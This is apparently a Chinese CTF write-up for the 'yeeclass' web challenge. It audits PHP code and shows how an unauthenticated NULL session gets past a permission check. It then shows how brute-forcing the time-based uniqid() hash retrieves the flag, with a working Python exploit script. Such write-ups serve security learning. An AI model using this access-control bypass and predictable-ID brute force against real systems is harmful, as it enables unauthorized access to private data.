代码审计
ini.php
全局搜索flag关键词,在ini.php中发现有对flag进行初始化的操作,创建了一个submission表
<?php
$pdo = new PDO("mysql:host=database;dbname=yeeclass", "yeeclass", "yeeclass");
$username = "flagholder";
$password = base64_encode(random_bytes(40));
echo "Username: $username; Password: $password\n";
// create user
$user_query = $pdo->prepare("INSERT INTO user (username, `password`, class) VALUES (?, ?, ?)");
$user_query->execute(array($username, hash("md5", $password), 0));
// submit flag
$id = uniqid($username."_");
echo $id."\n";
$submit_query = $pdo->prepare("INSERT INTO submission (`hash`, userid, homeworkid, score, content) VALUES (?, ?, ?, ?, ?)");
$submit_query->execute(array(
hash("sha1", $id),
$pdo->lastInsertId(),
1,
100,
$_ENV["FLAG"]
));
插入的字段和内容分别为
字段 | 内容 |
---|---|
`hash` | hash(“sha1″, uniqid($username.”_”)) |
userid | $pdo->lastInsertId() |
homeworkid | 1 |
score | 100 |
content | $_ENV[“FLAG”] |
同时还有一张user表
字段 | 内容 |
---|---|
username | flagholder |
`password` | hash(“md5”, $password) |
class | 0 |
submission.php
在submission.php发现可以通过hash参数进行content字段的查询和回显
if (isset($_GET["hash"]) && $_GET["hash"] != "") {
// view single submission
$mode = "view";
$submission_query = $pdo->prepare("SELECT s.*, u.username, h.name from submission s LEFT JOIN user u ON u.id=s.userid LEFT JOIN homework h ON h.id=s.homeworkid WHERE s.`hash`=?");
$submission_query->execute(array($_GET["hash"]));
$result = $submission_query->fetch(PDO::FETCH_ASSOC);
if (!$result) {
http_response_code(404);
die("Submission not found.");
}
view模式下代码
<?php if ($mode == "view") { ?>
<section id="view">
<h3><?= $result["username"] ?>_<?= $result["name"] ?> <a href="submit.php?homeworkid=<?= $result['homeworkid'] ?>&delete=<?= $result['hash'] ?>">[Delete]</a></h3>
<p>Time: <?= $result["time"] ?></p>
<p>Score: <?= $result["score"] ?? "(Not judged)" ?></p>
<pre><?= htmlspecialchars($result["content"]) ?></pre>
</section>
通过homeworkid参数可以查看插入的时间等内容
if (isset($_GET["homeworkid"])) {
$homework_query = $pdo->prepare("SELECT * FROM homework WHERE id=?");
$homework_query->execute(array($_GET["homeworkid"]));
$result = $homework_query->fetch(PDO::FETCH_ASSOC);
if (!$result) {
http_response_code(404);
die("Homework not found");
}
#没登录过时$_SESSION["userclass"]为NULL
if ($_SESSION["userclass"] < PERM_TA && !$result["public"]) {
http_response_code(403);
die("No permission");
}
$mode = "homeworklist";
$total_query = $pdo->prepare("SELECT COUNT(*) FROM submission WHERE homeworkid=?");
$total_query->execute(array($_GET["homeworkid"]));
$total = $total_query->fetchColumn(0);
$page = max(1, min(intval($_GET["page"]), ceil($total / 10)));
$list_query = $pdo->prepare("SELECT s.*, u.username, h.name, h.public FROM submission s LEFT JOIN user u ON u.id=s.userid LEFT JOIN homework h ON h.id=s.homeworkid WHERE s.homeworkid=? ORDER BY s.time DESC LIMIT 10 OFFSET ?");
$list_query->bindValue(1, $_GET["homeworkid"]);
$list_query->bindValue(2, ($page - 1) * 10, PDO::PARAM_INT);
$list_query->execute();
$result = $list_query->fetchAll(PDO::FETCH_ASSOC);
init.sql
通过该文件可以看到初始化创建的表,user中class字段默认为-1
CREATE TABLE `user` (
`id` int(11) NOT NULL AUTO_INCREMENT,
`username` varchar(12) NOT NULL,
`password` varchar(32) NOT NULL,
`class` tinyint(4) NOT NULL DEFAULT -1,
PRIMARY KEY (`id`)
) ENGINE=InnoDB DEFAULT CHARSET=utf8mb4;
漏洞利用
整体思路就是通过hash参数查到content字段中的flag,但是还需要伪造unqid函数的值才能伪造hash。
uniqid() 函数基于以微秒计的当前时间,生成一个唯一的 ID。
参考链接:https://www.freebuf.com/articles/web/163058.html
先将时间转化为时间戳
uniqid(prex)的格式为:前缀 + 秒数的8位16进制数 + 微秒取模0x100000的5位16进制数
C语言关键源码为:
uniqid = strpprintf(0, "%s%08x%05x", prefix, sec, usec);
所以我们伪造unqid就需要获取插入时间,正好通过homeworkid参数即可获得。由ini.php知道homeworkid为1,但是要注意还要不满足下列条件判断
if ($_SESSION["userclass"] < PERM_TA && !$result["public"]) {
http_response_code(403);
die("No permission");
}
该点可以通过未登录时$_SESSION为空来绕过。NULL < 0无法成立,NULL是弱类型等于0的
获得插入时间后就是伪造hash,但是要注意,插入时间与unqid获取时间戳由于执行顺序,会存在微秒级差异,所以要爆破
exp
import requests
import hashlib
from datetime import datetime
url = 'http://challenge-4649b06ba28a7a26.sandbox.ctfhub.com:10800/submission.php'
time = '2023-12-01 00:38:28.623641'
datetime_object = datetime.strptime(time, "%Y-%m-%d %H:%M:%S.%f")
timestamp = datetime.timestamp(datetime_object)
sec = int(timestamp)
usec = datetime_object.microsecond
for i in range(-1000,1000):
a = sec
b = usec + i
idstr = "flagholder_{:08x}{:05x}".format(a,b)
hash = hashlib.sha1(idstr.encode('utf-8')).hexdigest()
parm = {"hash":hash}
r = requests.get(url=url,params=parm)
if r.text != "Submission not found.":
print(hash)
print(f"flag_is:{r.text}")
break